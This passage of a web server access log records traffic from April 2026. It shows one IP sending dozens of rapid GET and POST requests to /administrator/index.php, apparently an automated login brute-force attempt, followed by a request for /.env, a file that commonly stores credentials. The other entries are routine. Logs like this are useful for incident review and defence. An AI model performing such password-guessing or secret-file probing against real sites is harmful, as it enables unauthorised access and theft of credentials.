+0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:23:02:03 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:23:02:03 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:23:02:03 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:23:02:04 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:23:02:04 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:23:02:04 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:23:02:04 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:23:02:04 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:23:02:04 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:23:02:04 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:23:02:04 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:23:02:04 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:23:02:04 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:23:02:04 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:23:02:04 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:23:02:04 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:23:02:04 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:23:02:04 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:23:02:04 +0700] "GET /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:23:02:04 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:23:02:04 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:23:02:04 +0700] "POST /administrator/index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 102.43.5.250 - - [19/Apr/2026:23:02:05 +0700] "GET /.env HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 157.15.65.100 - - [19/Apr/2026:23:05:11 +0700] "GET /.well-known/acme-challenge/YB275134J20G727Y9OWA6GYI2KQ6YS98 HTTP/1.1" 200 64 "-" "Cpanel-HTTP-Client/1.0" 175.100.33.198 - - [20/Apr/2026:00:01:15 +0700] "GET /admin.php HTTP/1.1" 200 49721 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" 175.100.33.198 - - [20/Apr/2026:00:17:53 +0700] "GET /admin.php HTTP/1.1" 200 49721 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36"
Simpan